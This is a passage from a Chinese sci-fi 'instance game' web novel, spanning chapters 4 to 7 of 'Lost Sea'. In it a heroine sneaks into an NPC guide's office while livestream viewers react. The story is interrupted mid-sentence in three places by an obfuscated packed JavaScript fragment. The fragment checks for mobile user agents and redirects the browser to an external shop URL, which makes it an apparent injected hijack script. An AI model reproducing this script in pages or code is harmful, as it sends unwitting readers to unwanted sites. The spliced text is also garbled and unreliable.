她不死心地把卡在门缝里的怪鱼踹回餐厅内。很可惜，除了它的两条同伴被不幸砸中以外，没有任何事情发生。 剩下的怪鱼似乎被震慑住了，对峙了片刻之后，缓缓退回了餐厅深处。 门后很快恢复了安静。 “好厉害！你把它们都吓跑了！”苏乐还没从震惊中回过神来。 江显不语，她没想明白到底是哪儿出了问题。 在利用她的能力看到怪鱼的【嗜血】技能之后，她原本的想法是杀死其中一条怪鱼，然后用它的血激怒它的同伴，以此引发骚乱的。 但出乎预料的是，刚刚攻击他们的怪鱼居然没有血液！这带来的最直接后果就是她的计划彻底泡汤。 其次，从生理角度上来讲，鱼类没有血液这件事情似乎也挺讲不通的——它们用什么代替血液灌注来进行物质交换和细胞代谢呢？ 江显百思不得其解，他们在冷冻柜和餐桌上看到的鱼类分明都有血液啊？难不成怪物被激活后就把自己血液喝掉了？ 还是说，这个副本压根就违背了一切自然常理？ 最重要的一点，先前他们在冷冻库里时她可没看到什么怪物图鉴，这是否说明怪物在复苏之前是不可被侦测到的？或者……这些巨大的怪鱼根本和冷冻柜里的不是一个东西？ 真是细思极恐。 “江老师在想什么？”陆寰问。 这故作尊敬的语气让她觉得有些好笑。 “只是觉得，没有血液的生物十分新奇。”江显摇摇头，“和某些长了加厚皮层用作伪装的生物一样让人看不透。“ “确实，这太不符合常理了。”察觉到一股莫名火药味的苏乐不解地接话道。 苏乐看不到那些提示信息也就无从得知江显内心的丰富活动，但以她的专业理论基础一定也能够发现这其中的蹊跷。 江显思考了几秒，又动手去解门锁。 “好吧，这次你又要干什么？”苏乐已经要对她的跳脱行为见怪不怪了。 她看不懂江显的操作，但她的行为确实有效，这对他们小队来说也就够了，没必要事事深究。 “在想着该怎么掩人耳目地把这条怪鱼带走解剖一下。”江显揣着下巴。 “江老师眼冒精光的样子真像是一台X线扫描仪。”陆寰由衷夸赞道。 江显偏过头似笑非笑：“那也有扫不透的东西，比如某些厚的能做防弹衣的脸皮。你说是吧陆老师？” 俩人又相视一笑。 苏乐：不是？？你俩又在打什么哑谜？ 江显正准备开门把怪鱼尸体弄走，不想突发变故，打乱了她的计划。 “看来你们已经享用过晚餐，结束欢迎仪式了。”向导不知打哪儿冒出来了，迎面撞见三人。 “很不错，队员很热情，现场气氛炸裂，谢谢您的关心。”陆寰露出真诚的笑容。 确实热情，热情到鱼都想把他们吃了。 “时间也不早了，你们到二楼等我一下，我去办公室里给你们拿房门钥匙。”向导看了看大厅里的钟说道，“不要跟过来。” 江显插话：“我们可以任选房间吗？” “那怎么行？其他房间都是有人的。腾不出来。”向导目光盯着她，“还是说，你们想和其他队员一起住？” 江显讪讪摆手：“不了，就是问问。” 和一群因为他们不吃生肉而精神失常的怪人住一起？见鬼去吧，他们会被当成口粮吃掉的。 向导又瞟了她一眼，转身上楼了。 “现在我们怎么说？还要继续搬运怪鱼吗？”苏乐问。 “怪鱼的尸体消失了。”江显头也不回平静道。 在向导找上他们的瞬间她就发现这个问题了。 苏乐不可置信地凑到玻璃窗前看，果然，那里什么都没有。 只有一滩未干的水渍。 “它……死了吗？” “显然没有。”江显说，“或者说，它从来没有活过。” 突然“复活”的怪鱼、消失的尸体、怪异的npc……一切都是那样迷雾重重。 三人叹着气往二楼走，准备等向导拿钥匙来。 “到了，你怎么还往上？”苏乐在楼梯转角小声提醒。 江显一副“我知道啊”的神情，一点也不像是头脑糊涂的样子。 陆寰讶异地挑了一下眉。 在苏乐震惊的目光中，江显朝三楼走去。 “你不要命啦快回来！”她下意识觉得江显不是莽撞的人，但觉得她此举实在是太过冒进了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055765|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >向导之前已经明确提出了不要随便进他办公室，现在她却明知故犯。 连普通的队员npc们都可能带来怪鱼异动，向导这种一看就是小boss的角色绝对更为恐怖。 她甚至不愿去想江显的下场会有多惨。 江显却置若罔闻，已经消失在旋转楼梯的拐角了。 没有人知道，她的眼前现在正在闪烁着仅她一人可见的任务提醒： 【向导的秘密】 【向导去办公室里拿钥匙了，可是粗心的向导却忘记关上办公室的门。】 【和向导共处一室是危险的，但也固然意味着丰厚的回报】 【你确认要进行此次探索吗？】 【是/否】 江显选择了“是”。 副本没必要给她设置必死的局，这次探索一定暗藏玄机。。 向导的办公室里大概率有通关副本的关键信息。 此外，刚刚她想到了另一种可怕的可能：如果刚刚攻击他们的怪鱼并不是冷冻柜里那些散装部件自行组装起来的，而是精神波动达到100，开启怪物形态的队员npc们呢？ 那留在二楼走廊——他们的房间外必然是危险的。饱餐一顿后很适合回房间休息，以人类的习惯而言。 再加上向导有那个叫做【广播】的技能，说不准就趁着这段时间把所有npc召过来围剿他们了。 眼下情况紧急，江显没法告知队友自己的种种顾虑，也不好将尚未验证的猜测公之于众。 她能做的只有尽可能保全自身，并设法获取可靠信息来说服其他人。 综合考量以上种种，她才选择前去三楼。 于是江显很酷地上楼了，只留给队友们一个潇洒的背影。 她不知道的是，在她目力不能及的地方，无数双眼睛正通过大屏幕密切观察着她。 在看到她头铁直接探索，弹幕彻底疯了。 [我之前看她直接插怪鱼脑门，还以为她是个冷静而处变不惊的高手，没想到到头来是个莽夫！] [真是‘厕所里面打手电——找死’啊！] [npc都明确说了不能进还要明知故犯，这不是自寻死路吗？] [npc多危险他们恐怕不知道！我刚刚看的另一个副本里有俩个玩家只是一句无心之言得罪了npc，就被那个骨瘦如柴的老头子撕碎了！] [我一开始还挺看好他们三人的，毕竟他们不像是其他副本的玩家那样手足无措崩溃大哭。俩位女生真的是极其镇定，只是没想到有一个是疯子。] [只可惜这疯子的队友了，怎么就摊上这么一个奇葩。] [我还挺想看这支队伍里那个漂亮小哥继续游戏呢，只希望别牵连到他吧！] [害，大伙散了吧散了吧，没有高手团结人心，这支队伍只怕也快完了。] [也是，毕竟像隔壁那位刚出场就一言不合干掉5个npc的冷血杀手也是稀罕物种。] [虽然但是，有人知道这到底是什么直播吗？我今天一开电脑就自动跳出这个。] [管他到底是什么，大家看个乐子就行。这年头这么逼真的真人秀不多了！] ………… 弹幕络绎不绝，但没有一条是看好江显的。 此时的江显，已经来到三楼那扇办公室的门前了！ 5. 失落之海5 江显面前那扇门虚掩着。 透过门缝间隙，她能够看到那个正在移动的魁梧身影。 江显观察了一下房间内的布局。 正对房门的是一大片书橱，上面密密麻麻堆着书籍。 书橱十分厚实，是个绝佳的视觉遮挡物。江显这样想。 她蹑手蹑脚推开门，飞速贴着书橱后面蹲下。 现在她的视野被各式各样的书籍填充了，只能通过空当观察向导的动作。 江显扫了俩眼那些书名，大都是《海域动物百科》《科考船维修手册》《潜水安全手册》这种的工具书。 书橱像是座随时垮塌的堡垒，每一块砖都摇摇欲坠，一墙之隔就是向导的办公桌和座椅。 透过书籍排布的空隙，江显看到向导正一个个翻找着桌子的抽屉，与此相伴的是一连串叮叮当当的金属撞击声。 “真是奇了怪了，那三个空房间的钥匙被我放哪儿去了。”他颇有些暴躁地把一个抽屉猛地关上。 向导的确在找钥匙，看起来还遇到了不小的麻烦。 江显视线顺着地面向上移，最后停留在向导乱糟糟的桌面上。 在那里，水杯、记号笔、材料纸张四仰八叉地躺着，显然是许久没好好收拾过了。 她眼光一瞥，忽地注意到桌角一张半卷半铺着的、用各种颜色标注区域的纸张。 看着像是地图。 江显有一种预感，这张地图很可能就是此行的关键线索。 现在问题在于，如何绕开向导的视线到桌子那儿去。 趁着大汉蹲在侧边柜子旁埋头找钥匙，江显从他背后轻轻地溜了过去。 说时迟，那时快，向导似有察觉一般转过了头，却疑惑地发现身后空荡荡。 已经成功躲入书桌下间隙的江显心脏狂跳！ 刚刚有一瞬，她的技能分明显示，向导的“情绪波动”飙升到了90。 这也直接验证了，办公室里藏着向导不想让他们发现的重大秘密。 多亏了这张办公桌的隔板后面有一部分是空的。否则，她将直接面对暴怒的npc，在这种狭小的空间无所遁形。 向导的愤怒转瞬即逝，在发现没人后很快又恢复到了40情绪波动。 现在江显紧贴桌角，小心翼翼地关注外面情况。 向导已经找到了他想要的，把三把钥匙抓在了手心里，晃得不停乱响。 他心情似乎变得极好，嘴里哼起了一支走调的小曲儿，开始收拾桌面。 江显看着他腿上那条褪了色的军装裤在眼前晃来晃去，躲在桌子下大气也不敢出。 一会儿功夫后，向导的身影消失在书橱后，脚步也走远了。 江显正欲从逼仄的桌子下爬出来，却惊觉没有听到关门声。 【粗心的向导却忘记关上办公室的门。】 猛然回忆起的系统提示让她心里警铃大作！ 如果向导只是“忘了”关门，那说明进入房间不关门并非是他的习惯！ 他并没有真正离开这里！ 果然，那暗绿色的军装裤腿又出现在了她眼前。 向导出其不意地折返回来，很有可能是发现门开着，想要防止有人意外窥探到他的东西。 江显再次见证了他的“情绪波动”攀升到90，然后在他绕着房间兜两圈无功而返后，迅速回落。 “看来是我鱼罐头吃太多了，记忆力也下降了。”他的语气似乎颇为唏嘘。 随后办公室大门重重合拢，这下他是真的离开了。 江显迅速从藏身之处跑出来。 她直奔桌面上的那张已经卷起的纸张。 在将其展开的一瞬间，她获得了新的提示。 【恭喜你发现重要线索：崭新的地图】 【系统公告：副本地图成功解锁！】（此公告全体玩家可见） 【个人提示：支线：《向导的秘密》完成进度30%】 【你潜入了向导的房间，非常幸运，向导没有发现你。】 【在桌上随意翻看，你就能找到上一个问题的答案】 【现在你知道了向导的名字和过往，可是这真的是全部秘密了吗？】 【提示：向导似乎总是在晚上离开科考站，他是有什么心事吗？】 江显心里暗骂一声系统。 看这意思是让她晚上跟踪。 潜入、跟踪，下一步是不是就是顺手牵羊了？系统怎么净让她干些偷鸡摸狗的事情？ 江显没有去看脑海里解锁的地图。 她现在时间紧迫，“上一个问题的答案”她还没“抄完”，必须在向导发现问题之前收集尽可能多的信息，然后逃离现场。 迅速将地图归位，她开始打量起这张办公桌上摆放的物件。 桌角上立着一只相框，第一时间吸引了她的目光。 在科技发达的星际时代，纸质照片早就被全息影像记录仪等取代。这些新型留影形式不占空间，不易丢失，且具有动态，比老古董们优越太多。 居然还有人用照片，真是罕见。 当然，也可能是因为这个原始星球上的科考站条件过于艰苦，不支持各种高科技设备。 相框极其干净，甚至光亮可鉴，显然是被频繁擦试过。 画面里，一群身着统一制服的人围拢在一起，有人摘下帽子朝天空挥舞，有人在高处朝镜头大声呼喊，有人勾肩搭背，脸上无一不洋溢着意气风发的笑容。 他们最中间的俨然是向导。他被几位手下众星拱月般簇拥着，头发梳得整齐，嘴上尚未蓄起大胡子，面容威严却不乏和蔼。 相框的透明玻璃表面用黑色笔记写着几行字： [霍列斯船长和他的队员们] [“开拓者小队”全体成员摄于翠冕计划启程] [星元3045年春] 向导的本名原来叫霍列斯，是所有npc队员的船长。 只不过…… 星元3045年！ 那是整整20年前！ 江显只觉自己的认知一瞬间受到了冲击。 20年过去了，这些npc的面容尽管略有沧桑，却并未变成老态龙钟的老者！ 尽管已经有过预料，副本里的一切必定光怪陆离；但她未曾想到，时间的流逝仿佛在这些npc脸上错乱了。 江显尽力让自己冷静下来。 桌子上还有几本笔记本，她抓紧时间迅速翻阅着。 【3045年4月1日】 【我们在春天来到了这颗翡翠一样的行星，肩负着伟大而光荣的使命。我们要在这里栽种希望。】 【3045年4月2日】 【我们搭乘科考船在美丽的海洋里乘风破浪。这是我们未曾见过的绝妙风景，大家都很兴奋，霍列斯船长心情也很好。他甚至还在海里钓鱼！】 ……………… 【3045年4月15日】 【在历经了半个月的测量和勘探后，我们拟定了任务方案。霍列斯船长给我们每个人都分配了任务，明天我们要开始动工了！】 ……………… 接下来都是些零零碎碎的日常记录。这支小队的任务似乎是在这颗星球上尝试栽种一种奇特的植物。 这种植物叫智树”。 江显跳了几十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055766|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 页，日记的时间来到了3055年。 【3055年4月1日】 【不知不觉中，这居然已是我们来到绿松石星的第十个春天。】 【这些年时不时会有总部的飞船过来投递资源，这让我们与外界保持着联系；但大多数时候我们还是和队友们在相处。我们比家人更像是家人。】 【这些年我们的成果斐然，“智树”在多个培育区茁壮生长，再过几年就能完全成熟。】 【今天夜里，我们举行了一场盛大的庆祝仪式；庆祝任务一切顺利。】 【霍列斯船长喝了很多酒，脱得只剩下一条裤衩在科考船大厅里跳舞。所有人都在拍照留念。他是个好船长，好领队，威严而不失宽容。这些年我们都很敬仰他。】 【霍列斯船长说，十年后的今天，我们已经乘上返程的飞船，从舷窗里俯视这颗我们亲手栽种的星球。】 【我们正在进行的这项壮举，已然改造自然，终将名垂青史】 江显再往后翻，发现这已经是最后一页了。 距离霍列斯离开他的办公室已经过去俩三分钟，不出意外的话他现在已经和另外俩个玩家碰面了。 只希望他们在看到刚刚那则关于地图的系统公告后，意识到她是去寻找线索了，帮自己拖延些时间。 但不管怎么说，办公室的其他部分她这次恐怕是来不及探索了。 办公室只有一个门，江显没法原路返回，否则可能会被逮个正着。 她把视线投向窗户，若有所思。 从这个位置朝外看，能够看到二楼顶部突出的金属遮阳棚。 江显打开窗户左右查看，窗户旁有根粗大的排水管，更下面的一楼顶棚与二楼的呈阶梯状排列。 而地面上，数个粗壮遒劲的树根盘曲着扎在一起。3楼的高度让她有一瞬间些许头晕目眩。 她深吸俩口气，翻上了窗框。 “磅”一声，江显把窗户从外面拉上，她知道自己现在只能背水一战了。 她一脚离开窗户，踏上了顶棚。 “咯吱！” 下面的金属支架发出了小的骚动。 此刻江显已经双脚在上面完成着陆。 她颤颤巍巍移动到水管附近，这个人抱着水管向下滑行。 水管表面凹凸不平的颗粒摩擦着她的掌心，她强忍住疼痛，知道自己绝不能松手。 短短俩秒钟后，她顺利降落到了一楼顶端的棚子上。 稍作停顿后，她再次向下滑去。 在离地只有不到一米时，江显再也无法忍受手掌火燎似得疼痛。 稍一松手，她整个人掉在了地上。 她的下巴结结实实磕在了地面。所幸下面是一层松软潮湿苔藓和茂密落叶的混合物，缓冲了不少力道。 江显扒拉着地面上纵横交织的数根，终于勉强站了起来。 她狼狈地打掉身上腿上的树叶，花了好些功夫来确定自己现在在哪儿。 她身边几米外正好有一根粗大的树木主干，足有五六人合抱粗。 她刚刚从铁门进来时看到过这棵树。 她这是在……科考站正门附近？她看着那扇门有些迟疑。 下一刻，门开了。 苏乐和陆寰领着向导出现在了门口。 向导脸上带着一种怀疑的审视，而前俩者脸上则是无法掩饰的讶异。 陆寰仅一瞬便又恢复了那副温和无害的微笑。 “我就说吧，我们这队友多动症犯了想自己出来逛逛。看她这样子，准是想要爬树登高，却不慎掉下来了。” 江显：？？？神他妈的多动症爬树登高。 6. 失落之海6 几分钟前。二楼走廊。 “她……？”苏乐呆头鹅一样停在原地。 这就水灵灵地走了？ 陆寰无辜地耸了耸肩，不置可否。 苏乐脸上浮现出一种复杂的神情。 她知道无论结果如何，她都无法干涉一个相识不久之人的选择。 她知道在这样一个诡谲未知的副本里因情绪而自乱脚步不是明智之举。 但是……心里就是被一种说不明道不白的难过所充斥。 她记得她平静看向舷窗外宇宙的奇异面容，记得她们在黑暗的坠落里紧紧握住的手…… 苏乐头一次觉得一个陌生人的离去让她这样揪心。 “我们得加快节奏探索周围环境。”她攥了攥掌心。 之前她太过胆小，干什么都缩手缩脚，全靠另外俩个队友冲锋陷阵。但经过这段时间的适应她已经想明白了：进入诡异副本已是定局，既然无法逃避，那就只能尽力通关副本！活下去！ 她是生态学家，一定能利用自己的专长有所发现。 “首先我们得弄到一份地图。”陆寰叹气。 这颗星球似乎充满了蔽日的树林，没有地图他们寸步难行。 这一句提醒下来，俩人都不免觉得前途渺茫。 就在这时—— 【系统公告：副本地图成功解锁！】（此公告全体玩家可见） 【玩家江显在探索中偶然发现了地图，这颗星球宏大的画卷正徐徐展开在你们面前】 苏乐一愕，随即眼里迸发出明亮的希望。 陆寰也是一怔。 “她还活着！”苏乐喜出望外。 “不仅活着，看来还活得好好的。”陆寰一笑，“毕竟她还有闲心思解锁地图。” “那我们现在……？” 苏乐还没说完，就听楼上一声重重的关门声。 苏乐刚刚舒展开的眉头又紧紧皱起。 如果向导发现少了人，回书房去找，江显依旧难逃一劫。 “不管怎么说，我们必须给她拖延时间！”苏乐态度强势，“你得配合我。” 陆寰毫不犹豫地点头。 脚步声离他们越来越近。 “我把钥匙给你们拿过来了……”向导刚递出一把，鹰隼般的眼神就在俩人身上来回扫。 “还有一个人呢？”他的表情在一瞬间变得十分诡异，没有聚焦的眼神空洞看着他们。 就像是没有灵魂一样。 苏乐被盯得有点发毛，短暂愣了一下。 反倒是陆寰镇静自若地接话：“她下楼去了，说要自己先多逛逛。” “如果你急着要把钥匙交给她，我们可以一起去找她。” 向导盯着他看了一会儿，似乎是认可了这一提议。 苏乐和他交换一个眼神，俩人忐忑不安地朝下走去。 他们从楼梯重新回到一楼，又转过拐角时，突然看到了楼梯下方空间的那道小门。 那是一道铁质的门，上面已经锈迹斑斑了，看起来颇有些年头。 他们之前上楼时，门正好被阶梯挡住，十分隐蔽，因此那时没有发现。 苏乐和陆寰皆心照不宣地同时开口：“那扇门是什么？” “噢，那是个杂物间，好久没人去了。里面用来堆放一些没来得及扔掉的陈年旧物。” 陆寰走近几步，眉头微皱：“好重的霉味。” 苏乐附和：“这星球气候潮湿，东西容易发霉，还是早点处理为好。” 陆寰接话：“我们初来乍到，也该为科考站做点贡献。择日不如撞日，不如现在把它清理一下。” “不用。”向导生硬地答道。 “哎呀别和我们客气的，如果你现在给我们找点扫帚拖把来，我们保证半小时还这里一个崭新的储物室！”陆寰已经开始挽袖子了。 “我说不用。” “可是一直这样发霉也不行啊，没准里面已经长满了霉菌……倒时候霉菌爬啊爬啊，说不定就变异了把整个房子都爬满了。” 向导的眼神愈发阴冷，脸上开始浮现起一些黑色的纹路。 苏乐定睛一瞧，那种纹路竟是密密麻麻的鳞片！ 那些鳞片细密而边缘锋利，让人第一时间联想到蛇类或是阴湿的深海鱼。 它们的轮廓正在变得愈发清晰，向导的眼睛也在一点点突出。 苏乐：啊啊啊这什么鬼？这人怎么一言不合就要变异了？ 陆寰一脸无辜看向旁边惊恐的苏乐：“我的这位同伴是一位生态学家，在各个星球上见过各种各样的奇怪生物。关于霉菌的真实性你可以问她。是吧？” 突然被cue的苏乐：？？？ 她被迫回答：“……是这样的。” 得到了肯定回答的陆寰又笑着补了句：“无论是毛茸茸的变异霉菌，还是丑陋的变异怪鱼，她都见过。放心，她不会嫌弃它们随便长长的。” 苏乐：不，她真的很嫌弃。 向导明显梗了下，似乎是听出了他话里的内涵之意。 他的脸颊上突然裂开一道很深的裂痕。 苏乐以为他的脸颊要脱落，吓了一跳，没想到那块组织竟然翕动起来。 那是…………鳃！ 向导正在变成一条鱼。 如果他能变异成鱼，那么刚刚那些在餐厅里追赶他们的…… 苏乐不敢想下去了。 眼看向导就要彻底爆发，磨蹭了好一会的陆寰赶紧识趣道：“扯远了扯远了，我们应该先带你去找那位同伴的。” 说着竟撂下向导大步向前走去。 向导宛如在爆炸前一刻被松了口的气球，一股怒气一瞬间不知朝谁发作。 他在原地停顿了俩秒，皮肤上的鳞片飞速消失，眼睛也回到了原先的位置。 “对，带我去找她。”他声音沙哑地点点头，仿佛先前什么也没发生。 苏乐一点也不想待在向导旁边，赶紧往前追去。 “现在怎么办？”她压低声音，手指绞在了一块儿。 “我们只能祈祷江显的速度快一点了。”陆寰一脸无奈，“不然……” “不然？” “……不然，团灭。” * 此刻。 江显有些意外地看着走出的三人，没料到自己这俩位队友竟能为自己争取时间。 自己又是翻箱倒柜又是爬水管逃跑，向导竟一直没追上来，显然有这俩人拖延的功劳在里面。 她看看“精神波动”正在70上下持续波动的向导，再看看旁边嘴唇紧抿一脸紧张的苏乐，就猜到俩人拖住他肯定也极其惊险。 而在最边上，一脸人畜无害的陆寰只是安静地笑。 白衬衫的袖口被他挂到了手肘上，露出的那段小臂白皙而劲瘦，又向下延申为骨骼分明的手背。 林间微小的气流撩动他额前的碎发，发丝扫入了他眼里，让他闭了下眼。 江显心里冒出一个离奇的猜想：这家伙一定是靠se｜诱才把向导稳住的吧！ 似是注意到江显在看他，陆寰一笑：“我有什么不对劲吗，江老师？” 江显看着他旁边空空如也依旧无法显示的信息，咬牙切齿：“没有。” “我还以为江老师盯着我看，是因为肉眼发现了我体内器官的病变。” 江显心里方才产生的一点感谢荡然无存。 “如果陆老师真有这方面担忧，欢迎以后来地球找我做检查。”江显语重心长，“有什么征兆还是切勿讳疾忌医啊。” 苏乐对莫名其妙又剑拔弩张的俩人投去不解目光。 “那个，向导来给我们发住处钥匙了。今天时间也已经不早，我们早点回房间收拾休息吧。” 这个提议得到包括向导在内的所有人的一致同意。 于是在经历了一系列小插曲后，三人又回到了科考站二楼。 “这个科考站的布局真是奇怪。”陆寰自言自语，“二楼走廊居然是笔直的而非环绕一周。整个形状有些过于狭长了。就好像……” “好像一条瘦长的鱼。”江显接话，“太符合不存在的海洋主题了。” “所以怪瘆人的。”陆寰说。 就在他们准备进门时，耳旁又想起了系统提示。 【最终boss苏醒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055767|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进度：40%】 江显下意识地回头想要寻找声音来源。可是走廊俩侧都是房门，仅在首尾开了俩扇窗。 最终boss到底是什么？难道是拥有技能的向导？江显皱起眉头。 她刚刚去办公室溜了一圈，复苏进度就又增加了，这个说法倒也说得通。只是，难道是她的“窥探”行为促成了向导复苏？ 这和她刚刚在办公室发现的线索又有什么关系？ 江显低头心不在焉地把钥匙往锁孔里插，几次都没成功。 “你看起来心事重重。”目睹了这一切的苏乐说。 已经打开房门的陆寰扭头：“和刚刚在办公室的发现有关？” 现在向导已经离开了，三人说话也就不顾及那么多。 江显确实是在想着那些线索。科考队日记里留下的信息量过于庞大，她目前还毫无头绪。 “咔”，一声，老旧生锈的钥匙终于成功插进了锁孔，江显手上一扭，门便开了。 “都来我房间吧，我和你们分享一下信息。” * 四散在各个星球的直播屏幕上，江显他们的直播弹幕疯跳。 副本地图解锁的公告大字正明晃晃悬浮在界面上，而不久前他们还扬言这位玩家是去作死的。他们早早切了直播，没能目睹精彩瞬间。 [这这这，这也行？随便头铁就解锁了关键信息！] [可能是之前触发了支线任务！我刚刚看另一个副本，有个玩家也是突然做出一些我们无法理解的行为，最后却发现关键线索！] 有错过了过程但知情的人士说道。 [撞大运的家伙罢了]有人不屑。 [有人刚刚注意他们小队的动向吗，是不是也和其他小队分头行动时一样是一个直播框里分屏展示的？]有人颇为遗憾。 [没错没错。这里有个凑巧看了全程的。当那个女玩家和她同伴分开后，他们直播的画面就分为了两个。一个是女玩家支线任务，另一个是俩个不知情的队友。我可是亲眼看着那个女玩家机智地和npc在办公室里躲猫猫呢！这心理素质简直让人叹为观止！] [有什么好看的？看瞎猫抓死耗子吗？] [同意上一条弹幕，有这时间不如欣赏一下同队那位小哥的盛世美颜……这是能说的吗？] [是啊是啊，他笑起来的时候眼睛看起来真是楚楚动人，和小天使似的。怎么会有男孩子睫毛那么长啊！] [决定了，以后我就要叫他小天使！] [我去！听这脚步声，向导怪大叔回来了！] [啊啊啊他怎么还迎上去帮忙拖延时间了！] …… 左侧俩人的画面变换到一楼那扇藏在楼梯下的门。 [哈哈哈哈霉菌会长得到处都是，这理由真是太牵强了。] [你们没发现吗，小天使不管怎么胡诌，npc都能靠自动脑补把它脑补合理，这年头npc也看脸吗？] [可能是玩家的个人技能之类的。我刚刚看另一场直播，有一个玩家的技能就是极其可观的信息分析转码能力，他能听懂怪物之间的秘密交流！] [天呐，向导身上长出了鳞片，我们陆寰小天使居然都不带怕的] [他旁边的女生也好勇敢，明明紧张得都捏紧拳头了，还要帮队友拖延时间] ……… 画面又一转，出现在另半张屏幕上的是江显那张冷静而无甚表情的脸。 她衣服上尚且沾了些未拍掉的苔藓，领子上甚至插着一朵刚刚折断的蘑菇。 尽管看起来狼狈不已，眼里却依然神采奕奕。 而此时的左侧屏幕，陆寰带笑的脸正注视着观众。 他们构成了一个精妙绝伦的漫画分镜。 直播大屏整整寂静了5秒之久。 [卧槽，牛逼啊！] 直播屏幕被清一色的弹幕刷屏了。 [哈哈哈哈，“多动症爬树不慎掉落”，真有他们的！我要路转粉了，这支队伍是怎么做到既正经又好笑的！] [你那算什么，我可是要黑转粉了！江姐nb！我为之前的出言不逊深刻道歉！] 7. 失落之海7 几个星系之外，地球。 偌大的会议室里只有一张位子上是坐了真人的，其余都是投在半空中的淡蓝色虚拟全身影像。 那是一位年轻女性，一身军装制服，肩章的图案闪闪发光。、 她的面部线条凌厉，薄唇紧抿锋芒毕露，有着一头利落的褐色挂耳短发。 所有虚拟影像都神情肃然，无人发话。 会议厅墙壁上是一块光屏。此刻，新闻主持人表情沉重地播报着今日新闻。 “地球时间3025年4月12日，金天鹅座A区的一处星门发生了不明原因的大规模飞船失事。截至目前共有6艘民用飞船，共计乘客1500人失踪。” “鉴于目前尚不清楚事故是否与金天鹅座的宇宙环境剧变有关，救援队仍在静观其变，等待局势稳定后即刻出发。” 年轻女人起身走到前面，伸手一点，新闻的声音被关掉。 光屏的画面仍在不断变换色彩，台前的主持人却开始上演唯有口型变化的无声哑剧。 “各位，离这次事故发生已经过去整整4个地球日，整整3950人失踪，我们却依然没有派出救援队。” 她的声音缺乏女性的柔和，反而带着直击人心的冷意。 她笔直地站在光屏前，身形挺拔，宛若一并刚露锋芒的新刃。 “我们不知道那里究竟发生了什么，贸然营救只会让更多军人白白牺牲。”座位上其中一个淡蓝色的人影说道。 人影模糊而晃动，宛若幽灵。 很显然，他此刻并不在这间会议厅里，而是在另一颗星球上。 “那我们至少应该派出无人航天器，或让附近的空间站用太空望远镜进行观测。”女性军人说道。 她的脸颊轮廓在身后光屏不规律闪烁的光里一明一暗，带着微小骨节的鼻背上描了条锋利的银边。 “星门失效了，我们无法快速到达那里。”另一个虚幻光影说道。 “难道我们就只能这样坐以待毙，等着氧气耗尽，几千人在飞船上活活窒息……”年轻女人提高了声音。 她被无情打断了：“你也知道他们生还机会渺茫。” “这就是我要和各位讨论的另一件事。” 她手一抬，悬浮光屏上切到了另一条新闻。 “自昨日起，宇宙各星球的公用大屏均遭到不明来源的入侵。屏幕上无一例外都在播放着一些奇怪的游戏过程，人们将其成为【副本直播】” “相关部门在调查中，同样在星网上发现了对应的直播间。截至目前，已有超越1000亿人次观看过了副本直播。” “关于副本的来源和出现原因，我们仍在持续跟进和调查。“ 女性军官声音稍稍提高：“有许多观众称，他们在直播里看到了熟人，而他们无一例外都登上了途经金天鹅座的飞船。“ “那些失事飞船的乘客没有死！他们在副本里出现！”她斩钉截铁，“我们应当立刻发起救援，最大限度地挽救生命！” “噢，别像个不成熟的孩子一样露西亚。”发话的是一个神情倨傲的中年人，“救援指挥不是你们小女孩的过家家游戏。” “副本到底是什么？具体在哪个坐标？又如何进入？” “就算进入了又如何？那么多人甚至都被分散在了不同副本，你又如何保证营救部队不是重新进入新的副本而是和他们进入同一副本？” 露西亚缄默了。 这些她都无法回答，唯有将头低埋。 “年轻人啊，切忌急功近利。”有人意味深长地说。 这一次，露西亚抬起头，目光清澈而锐利：“我向诸位保证，坚持救援绝不是为了表现自我，也不是为了邀功求赏。” 这话说完后周围响起了几声窃笑，另有几人微微皱着眉看她。 他们在宇宙的不同角落对她发出嘲讽。 露西亚用眼神死死盯着那个并不存在于会议室的虚影。 方才首先出言不逊的是中央星系的一位星球指挥官，季勋。 他成为星球指挥官已经数十年，老谋深算，拥护者无数，更是一手促成了“创世纪科技公司”在几大星系的迅速壮大。 “创世纪科技”是一家以开发星球资源、改造行星环境、开拓人类居住地、办理星球移民为主要业务的公司。 在这个人类足迹迅速蔓延、人类文明在宇宙飞速散播的时代，这样一家公司的兴盛是必然的。 “当我们仰望满天星空时，就应坚信，那终将，也必将是人类璀璨的文明之火。” “我们要攫取恒星的光和热，在无数行星广袤的土壤里都种上地球古老的作物；即使是环境最恶劣的蛮荒星球也能够向我们献上难以计数的空间。” “我们要创造新的纪元，像发现新大陆那样开垦每一个被发现的星球。” 季勋曾公开发表过如此慷慨激昂的演讲。 他为人如此张狂并非毫无原因。 